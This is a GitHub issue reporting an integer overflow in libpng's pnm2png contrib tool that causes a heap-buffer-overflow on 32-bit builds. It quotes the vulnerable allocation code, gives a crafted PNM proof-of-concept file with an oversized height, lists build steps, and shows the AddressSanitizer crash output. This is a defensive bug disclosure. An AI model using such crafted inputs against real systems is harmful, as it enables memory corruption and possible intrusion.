Skip to content

Integer Overflow in pnm2png - height * sizeof(png_byte *) heap-buffer-overflow #825

Description

@VinzSpring

From https://github.com/pnggroup/pngcontrib/blob/main/pngminus/pnm2png.c#L379

  /* allocate the rows using the same memory layout as libpng, and transfer
   * their ownership to libpng, with the responsibility to clean everything up;
   * please note the use of png_calloc instead of png_malloc */
  row_pointers = (png_byte **)
                 png_calloc (png_ptr, height * sizeof (png_byte *));
  png_set_rows (png_ptr, info_ptr, row_pointers);
  png_data_freer (png_ptr, info_ptr, PNG_DESTROY_WILL_FREE_DATA, PNG_FREE_ALL);
  for (row = 0; row < height; row++)
  {
    row_pointers[row] = (png_byte *) png_malloc (png_ptr, row_bytes);
  }

The multiplication height * sizeof(png_byte *) has no overflow check. On a 32-bit system where sizeof(png_byte *) is 4, a crafted height value causes the product to wrap around, resulting in a tiny allocation. The subsequent loop writes height pointers into this undersized buffer - a heap-buffer-overflow.

height           = 0x40000001 // (1 073 741 825)
sizeof(png_byte*) = 4
height * 4       = 0x1_0000_0004  //  truncated to 0x4 on 32-bit

// png_calloc allocates 4 bytes (room for 1 pointer).
// Loop writes 1,073,741,825 pointers → immediate out-of-bounds write.

Reproducer

proof.pnm

P5
1 1073741825
255
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Steps to reproduce:

cmake .. \
    -DPNG_SHARED=OFF \
    -DPNG_STATIC=ON \
    -DPNG_FRAMEWORK=OFF \
    -DPNG_TESTS=OFF \
    -DPNG_TOOLS=OFF \
    -DCMAKE_C_FLAGS="-m32 -fsanitize=address,undefined" \
    -DCMAKE_EXE_LINKER_FLAGS="-m32 -fsanitize=address,undefined"

make -j$(nproc)

cc -m32 -fsanitize=address,undefined \
    -Ilibpng \
    -Ilibpng/build-asan \
    -o pnm2png \
    libpng/contrib/pngminus/pnm2png.c \
    libpng/build-asan/libpng18.a \
    -lz -lm \
    -fsanitize=address,undefined

ASAN_OPTIONS=detect_leaks=0 ./pnm2png proof.pnm /dev/null

Output

==8==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf5d00794 at pc 0x56663c23 bp 0xffb3a708 sp 0xffb3a6fc
WRITE of size 4 at 0xf5d00794 thread T0
    #0 0x56663c22 in do_pnm2png (/build/pnm2png+0x7fc22)
    #1 0x56662b4b in pnm2png (/build/pnm2png+0x7eb4b)
    #2 0x5666231c in main (/build/pnm2png+0x7e31c)
    #3 0xf709a2d4  (/lib/i386-linux-gnu/libc.so.6+0x232d4)
    #4 0xf709a397 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x23397)
    #5 0x56661466 in _start (/build/pnm2png+0x7d466)

0xf5d00794 is located 0 bytes to the right of 4-byte region [0xf5d00790,0xf5d00794)
allocated by thread T0 here:
    #0 0xf799bb2b in __interceptor_malloc ../../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
    #1 0x566801e8 in png_malloc_base (/build/pnm2png+0x9c1e8)
    #2 0x56680465 in png_malloc (/build/pnm2png+0x9c465)
    #3 0x5668008d in png_calloc (/build/pnm2png+0x9c08d)
    #4 0x56663b1e in do_pnm2png (/build/pnm2png+0x7fb1e)
    #5 0x56662b4b in pnm2png (/build/pnm2png+0x7eb4b)
    #6 0x5666231c in main (/build/pnm2png+0x7e31c)
    #7 0xf709a2d4  (/lib/i386-linux-gnu/libc.so.6+0x232d4)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/build/pnm2png+0x7fc22) in do_pnm2png
Shadow bytes around the buggy address:
  0x3eba00a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3eba00b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3eba00c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3eba00d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3eba00e0: fa fa fa fa fa fa fa fa fa fa 01 fa fa fa 01 fa
=>0x3eba00f0: fa fa[04]fa fa fa 00 00 fa fa fa fa fa fa fa fa
  0x3eba0100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
==8==ABORTING
=== Exit code: 1 ===

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions